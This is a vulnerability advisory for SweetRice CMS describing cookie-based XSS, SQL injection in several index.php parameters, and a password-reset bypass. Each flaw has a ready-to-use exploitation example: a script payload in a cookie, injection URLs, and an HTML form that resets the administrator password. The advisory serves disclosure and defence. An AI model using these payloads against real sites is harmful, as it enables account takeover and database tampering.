Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in SweetRice CMS which could be exploited to perform cross-site scripting and SQL injection attacks and change administrator`s password.

1) Cross-site scripting (XSS) vulnerability in SweetRice CMS
The vulnerability exists due to input sanitation error in the "top_height" cookie in as/index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
GET /as/index.php HTTP/1.1
Cookie: top_height=')%3B"><script>alert('XSS')%3B</script>;


2) SQL injection vulnerabilities in SweetRice CMS
The vulnerability exists due to input sanitation errors in the "file_name" (when action is set to attachment), "post"(when action is set to show_comment) and "sys-name" (when action is set to view or when action is set to rssfeed and type is set to entry) parameters index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://[host]/index.php?action=attachment&file_name=%27
http://[host]/index.php ?action=show_comment &post=%27
http://[host]/index.php?action=rssfeed&type=entry&sys-name=%27
http: //[host]/index.php?action=view&sys-name=%27


3) Security bypass vulnerability in SweetRice CMS
The vulnerability exists due to insufficient verification of the user`s identity in password reset functionality. A remote attacker with knowledge of administrator`s email address can reset his password and gain full access to the website.
Exploitation example:
<form action="http://[host]/as/index.php?type=password&mod=resetok" method="post">
<input name="p1" type="hidden" value="123">
<input name="p2" type="hidden" value="123">
<input name="email" type="hidden" value="[admin_email]">
<input value="Login" name="login" type="submit">
</form>
